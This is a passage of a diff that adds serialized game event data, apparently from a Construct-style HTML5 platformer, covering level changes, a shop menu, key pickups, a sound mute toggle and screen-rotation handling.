+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 930936376763157,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 456636950934610,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 975914986193601,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level11"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 844846447628361,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 286661368241083,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 184278980023328,
+ false,
+ [
+ [
+ 6,
+ "Level12"
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 618272439350832,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 705924146284490,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 189989099590602,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level12"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 841643926482722,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 199461472288997,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 548828636083592,
+ false,
+ [
+ [
+ 6,
+ "Level13"
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 124212099507455,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 493478590656361,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 644724393361421,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level12"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 807727700249174,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 950684590882255,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 861184045918186,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 880896148539922,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level13"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 224754587338637,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 576519238073925,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 767699446480642,
+ false,
+ [
+ [
+ 6,
+ "Level14"
+ ]
+ ]
+ ],
+ [
+ 554,
+ 39,
+ null,
+ 439211844165336,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 924268820369336,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 149423511153305,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level14"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 272946149352855,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 29,
+ null,
+ 852436724157585,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 275257064358303,
+ false,
+ [
+ [
+ 6,
+ "Shop"
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 988396449842551,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 106763044597150,
+ false,
+ [
+ [
+ 2,
+ [
+ "menustemas",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 327891591741721,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 799355429623316,
+ false,
+ [
+ [
+ 11,
+ "key1"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 493,
+ 103,
+ null,
+ 529315416118612,
+ false,
+ [
+ [
+ 0,
+ [
+ 5,
+ [
+ 20,
+ 493,
+ 76,
+ false,
+ null
+ ],
+ [
+ 1,
+ 0.3
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 723234222723535,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 342661032806704,
+ false,
+ [
+ [
+ 11,
+ "key2"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 515,
+ 103,
+ null,
+ 652467782797957,
+ false,
+ [
+ [
+ 0,
+ [
+ 5,
+ [
+ 20,
+ 515,
+ 76,
+ false,
+ null
+ ],
+ [
+ 1,
+ 0.3
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 197149746035668,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 341611992433201,
+ false,
+ [
+ [
+ 11,
+ "key3"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 517,
+ 103,
+ null,
+ 688178242398375,
+ false,
+ [
+ [
+ 0,
+ [
+ 5,
+ [
+ 20,
+ 517,
+ 76,
+ false,
+ null
+ ],
+ [
+ 1,
+ 0.3
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 543472661076529,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 860798989533282,
+ false,
+ [
+ [
+ 11,
+ "key2"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 869807038743852,
+ false
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 253098508311990,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 1
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level5"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 389,
+ 51,
+ null,
+ 721348206876664,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 4160
+ ]
+ ]
+ ]
+ ],
+ [
+ 389,
+ 47,
+ "Sine",
+ 369798758276741,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 409646835287575,
+ [
+ [
+ 324,
+ 66,
+ null,
+ 0,
+ false,
+ false,
+ true,
+ 196635201870415,
+ false,
+ [
+ [
+ 4,
+ 514
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 514,
+ 104,
+ "Fade",
+ 751693116926623,
+ false
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 618568790171019,
+ [
+ [
+ 1,
+ 71,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 781538118352479,
+ false,
+ [
+ [
+ 9,
+ 39
+ ]
+ ]
+ ],
+ [
+ 344,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 873546594082836,
+ false,
+ [
+ [
+ 4,
+ 541
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 541,
+ 61,
+ "Platform",
+ 584409548859908,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 526304188341712,
+ [
+ [
+ 1,
+ 71,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 264501059609901,
+ false,
+ [
+ [
+ 9,
+ 37
+ ]
+ ]
+ ],
+ [
+ 344,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 762302539436889,
+ false,
+ [
+ [
+ 4,
+ 541
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 541,
+ 61,
+ "Platform",
+ 642106608308227,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 422066415677165,
+ [
+ [
+ 0,
+ 25,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 929641377264069,
+ false,
+ [
+ [
+ 4,
+ 381
+ ]
+ ]
+ ],
+ [
+ 381,
+ 27,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 596274750270043,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "unmute"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 255233493342515,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 965945621444062,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 381,
+ 30,
+ null,
+ 689352112740836,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "mute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 813945390879238,
+ false,
+ [
+ [
+ 11,
+ "sonido"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 791608314037060,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 425572821494035,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 259406602467531,
+ [
+ [
+ 0,
+ 25,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 961818971855833,
+ false,
+ [
+ [
+ 4,
+ 381
+ ]
+ ]
+ ],
+ [
+ 381,
+ 27,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 653175764509033,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "mute"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 730204043813227,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 644003692247806,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 381,
+ 30,
+ null,
+ 662713222678847,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "unmute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 488074986784144,
+ false,
+ [
+ [
+ 11,
+ "sonido"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 557936824083630,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 168889969678409,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 175260826866874,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 726990633008088,
+ false,
+ [
+ [
+ 11,
+ "sonido"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 847095365513754,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 880352243461079,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 381,
+ 30,
+ null,
+ 936784789103244,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "mute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 544344367146970,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 524784585246235,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 376614152915584,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 654315677314576,
+ false,
+ [
+ [
+ 11,
+ "sonido"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 100539927352470,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 760535288404850,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 381,
+ 30,
+ null,
+ 590093547975402,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "unmute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 802285807402044,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 346642857343991,
+ false,
+ [
+ [
+ 2,
+ [
+ "gameplay",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ "Loading",
+ [
+ [
+ 0,
+ null,
+ false,
+ null,
+ 209495184790192,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 782877862995792,
+ false
+ ]
+ ],
+ [
+ [
+ 554,
+ 105,
+ null,
+ 452335248698322,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 248661713802577,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 2
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 382055019353970,
+ false,
+ [
+ [
+ 6,
+ "Menu"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 1,
+ "IsScreenRotate",
+ 0,
+ 0,
+ false,
+ false,
+ 646879525138827,
+ false
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 695222747329849,
+ [
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 484155618620944,
+ false
+ ]
+ ],
+ [],
+ [
+ [
+ 0,
+ null,
+ false,
+ null,
+ 491884947212150,
+ [
+ [
+ 7,
+ 53,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 705407954974132,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 727829909152802,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 55,
+ null,
+ 964451876373372,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 742086384760539,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 526391241198570,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 967942563917457,
+ [
+ [
+ 7,
+ 53,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 950694372002089,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 340532317545787,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 55,
+ null,
+ 637755225957480,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 326934446152458,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 384305605389097,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 220558625649021,
+ [
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 391896389124759,
+ false
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 238511798301546,
+ false
+ ],
+ [
+ 7,
+ 53,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 151289606294315,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 314691900123525,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 55,
+ null,
+ 106919334542911,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 450867417126191,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 222872003658443,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 197908688701028,
+ [
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ true,
+ false,
+ 406752880939784,
+ false
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 780319795029494,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 55,
+ null,
+ 825395176772183,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 781025145898183,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 845640688162275,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 819466252849933,
+ [
+ [
+ 554,
+ 57,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 992277924380448,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 58,
+ null,
+ 714783432029054,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ -1000
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 203914635961787,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 233664857877932,
+ [
+ [
+ 554,
+ 59,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 147175929661427,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 58,
+ null,
+ 474623402113225,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 816098112478652,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ "how1",
+ [
+ [
+ 0,
+ null,
+ false,
+ null,
+ 215536955138986,
+ [
+ [
+ 0,
+ 25,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 661955231344170,
+ false,
+ [
+ [
+ 4,
+ 6
+ ]
+ ]
+ ],
+ [
+ 6,
+ 27,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 790213501295994,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "unmute"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 735340158327743,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 815107922366443,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 6,
+ 30,
+ null,
+ 962834308482482,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "mute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 642302766304341,
+ [
+ [
+ 0,
+ 25,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 311582109898268,
+ false,
+ [
+ [
+ 4,
+ 6
+ ]
+ ]
+ ],
+ [
+ 6,
+ 27,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 354958963568459,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "mute"
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 28,
+ null,
+ 681205035485962,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 840443601408269,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 6,
+ 30,
+ null,
+ 530850717075092,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "unmute"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 576878474606330,
+ [
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 279223566494464,
+ false
+ ]
+ ],
+ [],
+ [
+ [
+ 0,
+ null,
+ false,
+ null,
+ 554379348868190,
+ [
+ [
+ 7,
+ 53,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 534366851026132,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 731993026157660,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 55,
+ null,
+ 418406604359907,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 585288950156728,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 834978628288176,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 173443179857127,
+ [
+ [
+ 7,
+ 53,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 893997031604230,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 577560471251723,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 55,
+ null,
+ 805245113949427,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 758268718429271,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 665391798157391,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 485883656283403,
+ [
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 759019289451691,
+ false
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 292783687961179,
+ false
+ ],
+ [
+ 7,
+ 53,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 228952330282742,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 905804613304820,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 55,
+ null,
+ 414665830495555,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 116666242056871,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 558136774326253,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 570489102852158,
+ [
